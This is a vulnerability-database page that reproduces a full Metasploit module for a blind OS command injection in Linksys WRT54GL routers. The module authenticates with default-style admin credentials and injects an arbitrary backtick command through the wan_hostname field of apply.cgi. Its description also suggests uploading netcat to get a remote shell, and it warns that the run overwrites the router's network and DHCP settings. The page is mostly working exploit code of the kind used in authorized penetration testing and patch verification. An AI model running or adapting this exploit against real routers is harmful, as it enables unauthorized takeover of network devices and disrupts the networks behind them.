Lucene search
K

Linksys WRT54GL Remote Command Execution

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 235 Views

Linksys WRT54GL Remote Command Execution module; OS Command injection vulnerability; Overwrites network and DHCP configuration

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Linksys WRT54GL Remote Command Execution',  
'Description' => %q{  
Some Linksys Routers are vulnerable to OS Command injection.  
You will need credentials to the web interface to access the vulnerable part  
of the application.  
Default credentials are always a good starting point. admin/admin or admin  
and blank password could be a first try.  
Note: This is a blind OS command injection vulnerability. This means that  
you will not see any output of your command. Try a ping command to your  
local system and observe the packets with tcpdump (or equivalent) for a first test.  
  
Hint: To get a remote shell you could upload a netcat binary and exec it.  
WARNING: this module will overwrite network and DHCP configuration.  
},  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-01' ],  
[ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ],  
[ 'EDB', '24202' ],  
[ 'BID', '57459' ],  
[ 'OSVDB', '89421' ]  
],  
'DisclosureDate' => '2013-01-18'  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'PATH to OS Command Injection', '/apply.cgi']),  
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),  
OptString.new('HttpPassword', [ false, 'Password to login with', 'password']),  
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']),  
OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']),  
OptAddress.new('LANIP', [ false, 'LAN IP address of the router (default is RHOST)']),  
OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']),  
OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']),  
OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500'])  
]  
)  
end  
  
# If the user configured LANIP, use it. Otherwise, use RHOST.  
# NB: This presumes a dotted quad ip address.  
def lan_ip  
if datastore['LANIP'].to_s.empty?  
datastore['RHOST']  
else  
datastore['LANIP']  
end  
end  
  
def run  
# setting up some basic variables  
uri = datastore['TARGETURI']  
user = datastore['HttpUsername']  
rhost = datastore['RHOST']  
netmask = datastore['NETMASK']  
routername = datastore['ROUTER_NAME']  
wandomain = datastore['WAN_DOMAIN']  
wanmtu = datastore['WAN_MTU']  
  
ip = lan_ip.split('.')  
  
if datastore['HttpPassword'].nil?  
pass = ''  
else  
pass = datastore['HttpPassword']  
end  
  
print_status("Trying to login with #{user} / #{pass}")  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'authorization' => basic_auth(user, pass)  
})  
  
unless (res.is_a? Rex::Proto::Http::Response)  
vprint_error("#{rhost} not responding")  
return :abort  
end  
  
if (res.code == 404)  
print_error('Not Found page returned')  
return :abort  
end  
  
if [200, 301, 302].include?(res.code)  
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")  
else  
print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'")  
return :abort  
end  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost} - Failed to connect to the web server")  
return :abort  
end  
  
cmd = datastore['CMD']  
  
print_status('Sending remote command: ' + cmd)  
  
# cmd = Rex::Text.uri_encode(datastore['CMD'])  
# original Post Request:  
# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"  
# data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"  
# data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"  
# data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"  
# data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"  
# data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"  
# data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"  
# data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"  
  
vprint_status("using the following target URL: #{uri}")  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'authorization' => basic_auth(user, pass),  
# 'data' => data_cmd,  
  
'vars_post' => {  
'submit_button' => 'index',  
'change_action' => '1',  
'submit_type' => '1',  
'action' => 'Apply',  
'now_proto' => 'dhcp',  
'daylight_time' => '1',  
'lan_ipaddr' => '4',  
'wait_time' => '0',  
'need_reboot' => '0',  
'ui_language' => 'de',  
'wan_proto' => 'dhcp',  
'router_name' => routername.to_s,  
'wan_hostname' => "`#{cmd}`",  
'wan_domain' => wandomain.to_s,  
'mtu_enable' => '1',  
'wan_mtu' => wanmtu.to_s,  
'lan_ipaddr_0' => (ip[0]).to_s,  
'lan_ipaddr_1' => (ip[1]).to_s,  
'lan_ipaddr_2' => (ip[2]).to_s,  
'lan_ipaddr_3' => (ip[3]).to_s,  
'lan_netmask' => netmask.to_s,  
'lan_proto' => 'dhcp',  
'dhcp_check' => '1',  
'dhcp_start' => '100',  
'dhcp_num' => '50',  
'dhcp_lease' => '0',  
'wan_dns' => '4',  
'wan_dns0_0' => '0',  
'wan_dns0_1' => '0',  
'wan_dns0_2' => '0',  
'wan_dns0_3' => '0',  
'wan_dns1_0' => '0',  
'wan_dns1_1' => '0',  
'wan_dns1_2' => '0',  
'wan_dns1_3' => '0',  
'wan_dns2_0' => '0',  
'wan_dns2_1' => '0',  
'wan_dns2_2' => '0',  
'wan_dns2_3' => '0',  
'wan_wins' => '4',  
'wan_wins_0' => '0',  
'wan_wins_1' => '0',  
'wan_wins_2' => '0',  
'wan_wins_3' => '0',  
'time_zone' => '-08+1+1',  
'_daylight_time' => '1'  
}  
})  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost} - Failed to connect to the web server")  
return :abort  
end  
  
if res && (res.code == 200)  
print_status('Blind Exploitation - Response expected')  
else  
print_error("Blind Exploitation - Response don't expected")  
end  
print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')  
print_status('Blind Exploitation - unknown Exploitation state')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation